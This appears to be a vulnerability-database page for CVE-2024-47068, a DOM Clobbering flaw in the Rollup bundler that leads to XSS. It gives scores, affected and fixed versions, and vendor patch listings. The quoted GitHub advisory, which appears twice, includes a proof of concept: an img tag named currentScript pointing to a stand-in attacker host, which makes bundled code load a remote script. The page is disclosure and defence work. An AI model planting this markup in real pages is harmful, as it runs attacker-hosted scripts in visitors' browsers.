Every CVE Search/ Get API key

CVE-2024-47068

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

6.1 MediumFix available

Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from import.meta (e.g., import.meta.url) in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.74%Up 0.7 points since Sep 24, 2024
90%50%10%1%

What each source reports

CVE List Score used 6.1

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from import.meta (e.g., import.meta.url) in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.

Record
CVE-2024-47068
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2024-2800 6.1

Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from import.meta (e.g., import.meta.url) in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.

Record
EUVD-2024-2800
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-gcx4-mw62-g8wm 8.3

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site…

Record
GHSA-gcx4-mw62-g8wm
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
6.4 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H
Weakness
CWE-79
Updated
2026-11-02
NVD 6.1

Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from import.meta (e.g., import.meta.url) in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.

Record
CVE-2024-47068
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 6.1

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from import.meta (e.g., import.meta.url) in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.

Record
CVE-2024-47068
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVDEBIAN-CVE-2024-47068 6.1

Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from import.meta (e.g., import.meta.url) in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.

Record
DEBIAN-CVE-2024-47068
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
Show 18 moreShow less
OSVGHSA-gcx4-mw62-g8wm 8.3

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site…

Record
GHSA-gcx4-mw62-g8wm
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
6.4 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H
Weakness
CWE-79
Updated
2026-11-02
OSVUBUNTU-CVE-2024-47068 6.1

Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from import.meta (e.g., import.meta.url) in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.

Record
UBUNTU-CVE-2024-47068
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
OSVCLSA-2026-1773879455 No score

TuxCare security update for rollup (2 CVEs)

TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.41.6-tuxcare.1.

Record
CLSA-2026-1773879455
Updated
2026-11-02
OSVCLSA-2026-1774225184 No score

TuxCare security update for rollup (2 CVEs)

TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.57.1-tuxcare.1.

Record
CLSA-2026-1774225184
Updated
2026-11-02
OSVCLSA-2026-1774570949 No score

TuxCare security update for rollup (1 CVE)

TuxCare rebuilt rollup to address 1 CVE. Fixed in 2.1.0-tuxcare.1.

Record
CLSA-2026-1774570949
Updated
2026-11-02
OSVCLSA-2026-1774830282 No score

TuxCare security update for rollup (1 CVE)

TuxCare rebuilt rollup to address 1 CVE. Fixed in 2.26.5-tuxcare.1.

Record
CLSA-2026-1774830282
Updated
2026-11-02
OSVCLSA-2026-1775089651 No score

TuxCare security update for rollup (1 CVE)

TuxCare rebuilt rollup to address 1 CVE. Fixed in 2.38.4-tuxcare.1.

Record
CLSA-2026-1775089651
Updated
2026-11-02
OSVCLSA-2026-1775089653 No score

TuxCare security update for rollup (1 CVE)

TuxCare rebuilt rollup to address 1 CVE. Fixed in 2.79.1-tuxcare.1.

Record
CLSA-2026-1775089653
Updated
2026-11-02
OSVCLSA-2026-1775089660 No score

TuxCare security update for rollup (1 CVE)

TuxCare rebuilt rollup to address 1 CVE. Fixed in 2.79.2-tuxcare.1.

Record
CLSA-2026-1775089660
Updated
2026-11-02
OSVCLSA-2026-1775781165 No score

TuxCare security update for rollup (2 CVEs)

TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.36.3-tuxcare.1.

Record
CLSA-2026-1775781165
Updated
2026-11-02
OSVCLSA-2026-1775781168 No score

TuxCare security update for rollup (2 CVEs)

TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.63.5-tuxcare.1.

Record
CLSA-2026-1775781168
Updated
2026-11-02
OSVCLSA-2026-1775781172 No score

TuxCare security update for rollup (2 CVEs)

TuxCare rebuilt rollup to address 2 CVEs. Fixed in 3.15.0-tuxcare.1.

Record
CLSA-2026-1775781172
Updated
2026-11-02
OSVCLSA-2026-1775781179 No score

TuxCare security update for rollup (2 CVEs)

TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.56.4-tuxcare.1.

Record
CLSA-2026-1775781179
Updated
2026-11-02
OSVCLSA-2026-1777423178 No score

TuxCare security update for rollup (2 CVEs)

TuxCare rebuilt rollup to address 2 CVEs. Fixed in 2.77.3-tuxcare.1.

Record
CLSA-2026-1777423178
Updated
2026-11-02
OSVCLSA-2026-1784682991 No score

TuxCare security update for rollup (1 CVE)

TuxCare rebuilt rollup to address 1 CVE. Fixed in 0.59.4-tuxcare.2.

Record
CLSA-2026-1784682991
Updated
2026-11-02
OSVCLSA-2026-1793207004 No score

TuxCare security update for rollup (2 CVEs)

TuxCare rebuilt rollup to address 2 CVEs. Fixed in 1.32.1-tuxcare.1.

Record
CLSA-2026-1793207004
Updated
2026-11-02
OSVopenSUSE-SU-2025:14663-1 No score

velociraptor-0.7.0.4.git142.862ef23-1.1 on GA media

These are all security issues fixed in the velociraptor-0.7.0.4.git142.862ef23-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:14663-1
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2024-47068 No score

CVE-2024-47068 in rollup - Patched by Root

Root has patched CVE-2024-47068 in the rollup package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2024-47068
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
rollup
npm
4.0.0 up to 4.22.4
4.22.4
rollup
npm
3.0.0 up to 3.29.5
3.29.5
rollup
npm
before 2.79.2
2.79.2
rollup
TuxCare:npm
From an advisory covering 2 CVEs
0.41.6-tuxcare.0 up to 0.41.6-tuxcare.1, plus listed versions
0.41.6
0.41.6-tuxcare.1
rollup
TuxCare:npm
From an advisory covering 2 CVEs
0.57.1-tuxcare.0 up to 0.57.1-tuxcare.1, plus listed versions
0.57.1
0.57.1-tuxcare.1
rollup
TuxCare:npm
2.1.0-tuxcare.0 up to 2.1.0-tuxcare.1, plus listed versions
2.1.0
2.1.0-tuxcare.1
rollup
TuxCare:npm
2.26.5-tuxcare.0 up to 2.26.5-tuxcare.1, plus listed versions
2.26.5
2.26.5-tuxcare.1
rollup
TuxCare:npm
2.38.4-tuxcare.0 up to 2.38.4-tuxcare.1, plus listed versions
2.38.4
2.38.4-tuxcare.1
rollup
TuxCare:npm
2.79.1-tuxcare.0 up to 2.79.1-tuxcare.1, plus listed versions
2.79.1
2.79.1-tuxcare.1
rollup
TuxCare:npm
2.79.2-tuxcare.0 up to 2.79.2-tuxcare.1, plus listed versions
2.79.2
2.79.2-tuxcare.1
Show 19 moreShow less
Affected packages
PackageAffectedFixed
rollup
TuxCare:npm
From an advisory covering 2 CVEs
0.36.3-tuxcare.0 up to 0.36.3-tuxcare.1, plus listed versions
0.36.3
0.36.3-tuxcare.1
rollup
TuxCare:npm
From an advisory covering 2 CVEs
0.63.5-tuxcare.0 up to 0.63.5-tuxcare.1, plus listed versions
0.63.5
0.63.5-tuxcare.1
rollup
TuxCare:npm
From an advisory covering 2 CVEs
3.15.0-tuxcare.0 up to 3.15.0-tuxcare.1, plus listed versions
3.15.0
3.15.0-tuxcare.1
rollup
TuxCare:npm
From an advisory covering 2 CVEs
0.56.4-tuxcare.0 up to 0.56.4-tuxcare.1, plus listed versions
0.56.4
0.56.4-tuxcare.1
rollup
TuxCare:npm
From an advisory covering 2 CVEs
2.77.3-tuxcare.0 up to 2.77.3-tuxcare.1, plus listed versions
2.77.3
2.77.3-tuxcare.1
rollup
TuxCare:npm
0.59.4-tuxcare.0 up to 0.59.4-tuxcare.2, plus listed versions
0.59.40.59.4-tuxcare.1
0.59.4-tuxcare.2
rollup
TuxCare:npm
From an advisory covering 2 CVEs
1.32.1-tuxcare.0 up to 1.32.1-tuxcare.1, plus listed versions
1.32.1
1.32.1-tuxcare.1
node-rollup
Debian:12
All versions, plus listed versions
3.15.0-13.15.0-1+deb12u13.15.0-23.28.0-13.28.0-2
Show 13 moreShow less
3.29.4-13.29.4-23.29.4-33.29.5-13.29.5-23.29.5-33.30.0-13.30.0-23.30.0-33.30.0-43.30.0-53.30.0-63.30.0-7
None known
node-rollup
Debian:13
before 3.29.5-1
3.29.5-1
node-rollup
Debian:14
before 3.29.5-1
3.29.5-1
rollup
Root:npm
before 2.67.3-aikido.1
2.67.3-aikido.11.32.1-aikido.13.29.4-aikido.13.29.5-aikido.1
@rootio/rollup
Root:npm
before 2.67.3-root.io.1
2.67.3-root.io.11.32.1-root.io.13.29.4-root.io.12.79.2-root.io.13.29.5-root.io.1
node-rollup
Ubuntu:20.04:LTS
All versions, plus listed versions
0.50.0-6build30.68.2-21.12.0-2build21.12.0-2build3
None known
node-rollup
Ubuntu:22.04:LTS
All versions, plus listed versions
2.38.4-12.42.1-22.61.1-5
None known
node-rollup
Ubuntu:24.04:LTS
All versions, plus listed versions
3.28.0-23.29.4-23.29.4-3
None known
node-rollup
Ubuntu:25.10
All versions, plus listed versions
3.29.5-1
None known
node-rollup
Ubuntu:26.10
All versions, plus listed versions
3.30.0-13.30.0-5build5
None known
node-rollup
Ubuntu:26.04:LTS
All versions, plus listed versions
3.29.5-13.30.0-1
None known
velociraptor
openSUSE:Tumbleweed
From an advisory covering 27 CVEs
before 0.7.0.4.git142.862ef23-1.1
0.7.0.4.git142.862ef23-1.1

History

History
RecordedChangedSources
affected, facts
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-47068 is a medium vulnerability (CVSS 6.1) in Rollup, published September 23, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.74%, the 54th percentile. Fixed in rollup 4.22.4.

References

Show 33 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open